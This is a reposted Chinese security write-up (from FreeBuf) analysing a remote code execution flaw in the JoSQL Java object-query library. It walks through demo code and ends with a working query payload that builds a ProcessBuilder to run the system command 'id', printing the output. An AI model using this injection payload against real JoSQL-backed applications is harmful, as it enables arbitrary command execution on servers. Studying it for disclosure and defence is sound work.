转载

JoSQL内存数据库远程代码执行漏洞(含EXP)

JoSQL全称SQL for Java Objects,提供了应用SQL语句的Java对象的集合的能力开发,JoSQL提供了搜索,排序,group等对Java对象的集合进行类似SQL的查询应该应用的功能。

例如,查找所有在2004年内修改过的html文件:

SELECT * FROM   java.io.File WHERE  name $LIKE "%.html" AND    toDate (lastModified) BETWEEN toDate ('01-12-2004')  AND    toDate ('31-12-2004')

java中使用JoSQL:

// 获取 java.io.File 列表. List myObjs = getMyObjects ();  // 创建查询对象. Query q = new Query ();  // Parse the SQL you are going to use, it is assumed here that  // "myObjs" contains instances of "java.io.File". q.parse ("SELECT name,length " +          "FROM   java.io.File " +          "WHERE  fileExtension (name) = :fileExt " +          "ORDER BY length DESC, name " +          "EXECUTE ON RESULTS avg (:_allobjs, length) avgLength");  // 绑定参数类似于预编译模式设置参数 q.setVariable ("fileExt", "java");  // 执行查询. QueryResults qr = q.execute (myObjs);    // Get the average length, this is a save value, the result // of executing the call "avg (:_allobjs, length)", it is saved against // key: "avgLength". Map saveValues = qr.getSaveValues (); Number avg = (Number) saveValues.get ("avgLength");  // 循环读取结果 List res = qr.getResults ();  for (int i = 0; i < res.size (); i++) {      // This time there is a List for each row, index 0 holds the name of      // the file that matched, index 1 holds the length.     List r = (List) res.get (i);      System.out.println ("NAME: " + r.get (0));     System.out.println ("LENGTH: " + r.get (1) + ", AVG: " + avg);  }  具体其他详细操作可参考:http://josql.sourceforge.net

下面分析下远程代码造成的原因

1.首先写一个demo查询从User列表中查询:

package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo {  /**   * user对象   *   * @author nike   *   */  class User {   private String username;   private String password;   public String getUsername() {    return username;   }   public void setUsername(String username) {    this.username = username;   }   public String getPassword() {    return password;   }   public void setPassword(String password) {    this.password = password;   }   public void help() {    System.out.println("help method:"+username + "|" + password);   }  }  /**   * 获取user列表用来作为查询集   *   * @return   */  public List<User> getObjs() {   List<User> users = new ArrayList<User>();   User a = new User();   a.setUsername("nike");   a.setPassword("cb39554898fc98f9329d37242045e728");   User b = new User();   b.setUsername("smith");   b.setPassword("12345678");   users.add(a);   users.add(b);   return users;  }  public void query() {   List<User> myObjs = getObjs();   Query q = new Query();   try {    q.parse("SELECT * from josql.Demo$User");    QueryResults qr = q.execute(myObjs);    @SuppressWarnings("unchecked")    List<User> res = qr.getResults();    for (int i = 0; i < res.size(); i++) {     User user = (User)res.get(i);     System.out.println("username:"+user.username+"|password:"+user.password);    }   } catch (Exception e) {    e.printStackTrace();   }  }  public static void main(String[] args) {   Demo demo = new Demo();   demo.query();  } } 

上面代码运行结果是:

username:nike|password:cb39554898fc98f9329d37242045e728 username:smith|password:12345678

现在将sql语句换成:

package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo {  /**   * user对象   *   * @author nike   *   */  class User {   private String username;   private String password;   public String getUsername() {    return username;   }   public void setUsername(String username) {    this.username = username;   }   public String getPassword() {    return password;   }   public void setPassword(String password) {    this.password = password;   }   public void help() {    System.out.println("help method:"+username + "|" + password);   }  }  /**   * 获取user列表用来作为查询集   *   * @return   */  public List<User> getObjs() {   List<User> users = new ArrayList<User>();   User a = new User();   a.setUsername("nike");   a.setPassword("cb39554898fc98f9329d37242045e728");   User b = new User();   b.setUsername("smith");   b.setPassword("12345678");   users.add(a);   users.add(b);   return users;  }  public void query() {   List<User> myObjs = getObjs();   Query q = new Query();   try {    q.parse("SELECT help from josql.Demo$User");    QueryResults qr = q.execute(myObjs);    @SuppressWarnings("unchecked")    List<User> res = qr.getResults();    for (int i = 0; i < res.size(); i++) {     System.out.println(res.get(i));    }   } catch (Exception e) {    e.printStackTrace();   }  }  public static void main(String[] args) {   Demo demo = new Demo();   demo.query();  } } 

则运行结果:

help method:nike|cb39554898fc98f9329d37242045e728 help method:smith|12345678 [null] [null]

从上面结果就可以看出help方法被调用了,从而可以得知joSQL可以调用无参函数(关键)。

2.joSQL存在一个特性,即可以通过new来构造一个新的对象比如:

package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo {  /**   * user对象   *   * @author nike   *   */  class User {   private String username;   private String password;   public String getUsername() {    return username;   }   public void setUsername(String username) {    this.username = username;   }   public String getPassword() {    return password;   }   public void setPassword(String password) {    this.password = password;   }   public void help() {    System.out.println("help method:"+username + "|" + password);   }  }  /**   * 获取user列表用来作为查询集   *   * @return   */  public List<User> getObjs() {   List<User> users = new ArrayList<User>();   User a = new User();   a.setUsername("nike");   a.setPassword("cb39554898fc98f9329d37242045e728");   User b = new User();   b.setUsername("smith");   b.setPassword("12345678");   users.add(a);   users.add(b);   return users;  }  public void query() {   List<User> myObjs = getObjs();   Query q = new Query();   try {    q.parse("SELECT new josql.Demo() from josql.Demo$User");    QueryResults qr = q.execute(myObjs);    @SuppressWarnings("unchecked")    List<User> res = qr.getResults();    for (int i = 0; i < res.size(); i++) {     System.out.println(res.get(i));    }   } catch (Exception e) {    e.printStackTrace();   }  }  public static void main(String[] args) {   Demo demo = new Demo();   demo.query();  } } 

执行结果:

josql.Demo@447ffd8e josql.Demo@2edf98c4

3.joSQL另外一个特性就是可以通过EXECUTE ON支持函数式编程。其执行结果可以通过变量作为其他查询参数来调用

语法:EXECUTE ON ALL | RESULTS | GROUP_BY_RESULTS Expression [ , Expression ]* [ [ AS ] Alias ]例子:

package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo {  /**   * user对象   *   * @author nike   *   */  class User {   private String username;   private String password;   public String getUsername() {    return username;   }   public void setUsername(String username) {    this.username = username;   }   public String getPassword() {    return password;   }   public void setPassword(String password) {    this.password = password;   }   public void help() {    System.out.println("help method:"+username + "|" + password);   }  }  /**   * 获取user列表用来作为查询集   *   * @return   */  public List<User> getObjs() {   List<User> users = new ArrayList<User>();   User a = new User();   a.setUsername("nike");   a.setPassword("cb39554898fc98f9329d37242045e728");   User b = new User();   b.setUsername("smith");   b.setPassword("12345678");   users.add(a);   users.add(b);   return users;  }  public void query() {   List<User> myObjs = getObjs();   Query q = new Query();   try {    q.parse("SELECT username from josql.Demo$User group by @a EXECUTE ON ALL new josql.Demo() AS a");    QueryResults qr = q.execute(myObjs);    @SuppressWarnings("unchecked")    List<User> res = qr.getResults();    for (int i = 0; i < res.size(); i++) {     System.out.println(res.get(i));    }   } catch (Exception e) {    e.printStackTrace();   }  }  public static void main(String[] args) {   Demo demo = new Demo();   demo.query();  } } 

执行结果:

[josql.Demo@4094de98]

从结果中可以看到Demo成功被创建。

结合第1,2,3点可以执行无参函数,则我们可以调用ProcessBuilder的start可以执行系统命令。

package josql; import java.util.ArrayList; import java.util.List; import org.josql.Query; import org.josql.QueryResults; public class Demo {  /**   * user对象   *   * @author nike   *   */  class User {   private String username;   private String password;   public String getUsername() {    return username;   }   public void setUsername(String username) {    this.username = username;   }   public String getPassword() {    return password;   }   public void setPassword(String password) {    this.password = password;   }   public void help() {    System.out.println("help method:"+username + "|" + password);   }  }  /**   * 获取user列表用来作为查询集   *   * @return   */  public List<User> getObjs() {   List<User> users = new ArrayList<User>();   User a = new User();   a.setUsername("nike");   a.setPassword("cb39554898fc98f9329d37242045e728");   User b = new User();   b.setUsername("smith");   b.setPassword("12345678");   users.add(a);   users.add(b);   return users;  }  public void query() {   List<User> myObjs = getObjs();   Query q = new Query();   try {    q.parse("SELECT  username from josql.Demo$User where 1=1  group by  @c.readLine,@c.readLine EXECUTE ON ALL new  java.lang.ProcessBuilder(['id']) AS a, "      + "new java.io.InputStreamReader(@a.start.getInputStream) as b, new java.io.BufferedReader(@b) as c");    QueryResults qr = q.execute(myObjs);    @SuppressWarnings("unchecked")    List<User> res = qr.getResults();    for (int i = 0; i < res.size(); i++) {     System.out.println(res.get(i));    }   } catch (Exception e) {    e.printStackTrace();   }  }  public static void main(String[] args) {   Demo demo = new Demo();   demo.query();  } } 

执行结果:

[uid=501(nike) gid=20(staff)  groups=20(staff),501(access_bpf),401(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),33(_appstore),100(_lpoperator),204(_developer),398(com.apple.access_screensharing),399(com.apple.access_ssh),  null] [null, null]

则系统命令成功被执行。

利用场景

当某处查询利用了joSQL并且存在注入,则通过这个漏洞直接调用系统命令。

[作者/安恒信息(企业账号),转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)]

正文到此结束
Loading...